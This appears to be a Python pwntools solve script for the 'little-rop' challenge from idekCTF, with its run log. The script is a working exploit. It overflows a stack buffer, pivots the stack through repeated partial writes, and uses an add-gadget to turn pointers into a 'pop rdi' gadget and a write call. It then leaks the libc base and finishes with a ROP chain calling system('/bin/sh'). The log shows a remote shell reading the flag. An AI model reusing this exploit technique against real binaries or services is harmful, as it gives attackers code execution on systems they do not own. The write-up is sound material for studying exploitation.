ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

vuln_lea_read = 0x4011a9
add_rbp_0x3d_ebx = 0x40113c

## Robot check
leak =  ru(b"Solution? ")
cmd = leak.split(b"    ")[1]
cmd = cmd.split(b"\\n")[0]
info(f"cmd = {cmd}")

proc = subprocess.run(
    ["bash", "-c", cmd],
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True,        # 결과를 str 로 받기 위함
    check=True        # 에러 시 예외 발생
)

answer = proc.stdout.strip()

info(f"answer: {answer}")

sl(answer)

# pi()

# 1. Prepare write to where
pay = b'A'*0x20
pay += p64(0x404c00)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

# 2. 
pay = b'A'*0x20
pay += p64(0x404b00)
pay += p64(0x4011ca) #setup
s(pay)
sleep(0.4)

# 3. libc fengshui
def fengshui_libc():
    for i in trange(5):
        pay = b'B'*0x20
        pay += p64(0x404c00+0x70*i)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.4)

        pay = b'C'*0x20
        pay += p64(0x404900)
        pay += p64(0x4011ca) #setup
        s(pay)
        sleep(0.4)

fengshui_libc()

def fengshui_ret_rbp(base):
    for i in trange(2):
        #set where to write
        pay = b'b'*0x20
        pay += p64(base+i*0x20 + 0x20) #where to where
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.4)

        #rbp reset and write
        pay = (p64(vuln_lea_read) + p64(0x404a00)) * 2 #what
        pay += p64(0x404800 + 0x20)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.4)

def fengshui_rbp_ret(base):
    for i in trange(2):
        #set where to write
        pay = b'b'*0x20
        pay += p64(base+i*0x20 + 0x20) #where to where
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.4)

        #rbp reset and write
        pay = (p64(0x404a00) + p64(vuln_lea_read)) * 2 #write to what
        pay += p64(0x404800 + 0x20)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.4)

# 0. (overwrite rbp), this will used by "add    DWORD PTR [rbp-0x3d],ebx" gadget
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d70+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = p64(0x404d08 + 0x3d) #set rbp
s(pay)
sleep(0.4)

# 1. set "pop rbx; retn;" gadget (overwrite retn)
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d78+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

# .text:000000000008A5CA 5B                                      pop     rbx
# .text:000000000008A5CB C3                                      retn
pay = p8(0xca) #set gadget
s(pay)
sleep(0.4)

#2. set rbx value
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d80+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

# .text:00000000000C7389 5F                                      pop     rdi
# .text:00000000000C738A C3                                      retn
pay = p64(0x3cddc) #rbx value (will be added); 0x8a5ad + 0x3cddc = 0xc7389
s(pay)
sleep(0.4)

#3. set "add [rbp-3Dh], ebx; nop; retn;" gadget
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d88+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

# set rbx
pay = p64(add_rbp_0x3d_ebx) #set gadget
s(pay)
sleep(0.4)

# run gg
pay = b'c'*0x20
pay += p64(0x404d70) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.4)

# set rop again
# 0. (overwrite rbp), this will used by "add    DWORD PTR [rbp-0x3d],ebx" gadget
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d70+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = p64(0x404d18 + 0x3d) #set rbp
s(pay)
sleep(0.4)

# 1. set "pop rbx; retn;" gadget (overwrite retn)
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d78+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

# .text:000000000008A5CA 5B                                      pop     rbx
# .text:000000000008A5CB C3                                      retn
pay = p8(0xca) #set gadget
s(pay)
sleep(0.4)

#2. set rbx value
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d80+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

# .text:0000000000114870                         write 
pay = p64(0x932f1) #rbx value (will be added); 0x8157f + 0x932f1 = 0x114870
s(pay)
sleep(0.4)

#3. set "add [rbp-3Dh], ebx; nop; retn;" gadget
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d88+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

# set rbx
pay = p64(add_rbp_0x3d_ebx) #set gadget
s(pay)
sleep(0.4)

# run gg
pay = b'c'*0x20
pay += p64(0x404d70) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.4)

# will be used rbp when run "pop rdi" gadget
fengshui_rbp_ret(base=0x404d20)

pay = b'c'*0x20
pay += p64(0x404d00+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = p64(0x404a00) 
s(pay)
sleep(0.4)

# will be used when run "pop rdi" gadget
fengshui_rbp_ret(base=0x404d20)

pay = b'c'*0x20
pay += p64(0x404d10+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = p64(1) #set rdi
s(pay)
sleep(0.4)

# set ret
fengshui_rbp_ret(base=0x404d20)

pay = b'd'*0x20
pay += p64(0x404d20+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = p64(vuln_lea_read)
s(pay)
sleep(0.4)

# run gg
pay = b'c'*0x20
pay += p64(0x404d00) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.4)

# obtain libc base
leak = r(0x40)
info(f"leak: {leak}")
# pi()
leak = leak[0x10:0x10+8]
info(f"leak: {leak}")
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - l.sym._IO_2_1_stderr_
info(f"libc base: {hex(l.address)}")

# set final rop payload !!!

retn = l.address + 0xC738A
pop_rdi_retn = l.address + 0xC7389
bin_sh = l.address + 0x1D8678
system = l.sym.system

pay = p64(pop_rdi_retn) + p64(bin_sh) + p64(system)*2
pay += p64(0x4049b8+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.4)

s(b"win")

pi()

Result

ubuntu@4b44540d70d5:~/study/idekCTF/attachments$ python3 solve5_server.py
[+] Opening connection to little-rop.chal.idek.team on port 1337: Done
[*] cmd = b'python3 <(curl -sSL <https://goo.gle/kctf-pow>) solve s.AA+r.AABye4oxHgxTHZSoOwrZKMUf'
[*] answer: s.AABgMxwKVIDz4moR8Uk/af0BoBLAeQkOZjkQNHdae4DzAiFPnLWeYJAPaF0gck/BN4elxuR5RFPgQ8KgfJXoo5hzDGRz4q5ggxKyh5ek96C133SsIyETSwiBDtUVYEXi8B/Tz8z/JZrhIGIvFElTwvWYpSu0Op9esxXt8SVvPdnKtA5Jt/03Tfh6yfhJmaDUPVN5ek02R3jwxD2s04D8e2jR
100%|█████████████████████████████████████████████████████████████████████████| 5/5 [00:04<00:00,  1.19it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.20it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.19it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.20it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.20it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.14it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.19it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.20it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.20it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.20it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.19it/s]
100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00,  1.20it/s]
[*] leak: b'Correct\\naM@\\x00\\x00\\x00\\x00\\x00\\xa0\\xb6\\x821xz\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00J@\\x00\\x00\\x00\\x00\\x00\\x89sm1xz\\x00\\x00'
[*] leak: b'\\xa0\\xb6\\x821xz\\x00\\x00'
[*] leak: 0x7a783182b6a0
[*] libc base: 0x7a7831610000
[*] Switching to interactive mode
$ cat /flag.txt
idek{R0p_r0P_R0P_5HOW_u$_7HE_R0P}$ 
[*] Interrupted
[*] Closed connection to little-rop.chal.idek.team port 1337
ubuntu@4b44540d70d5:~/study/idekCTF/attachments$ 
태그: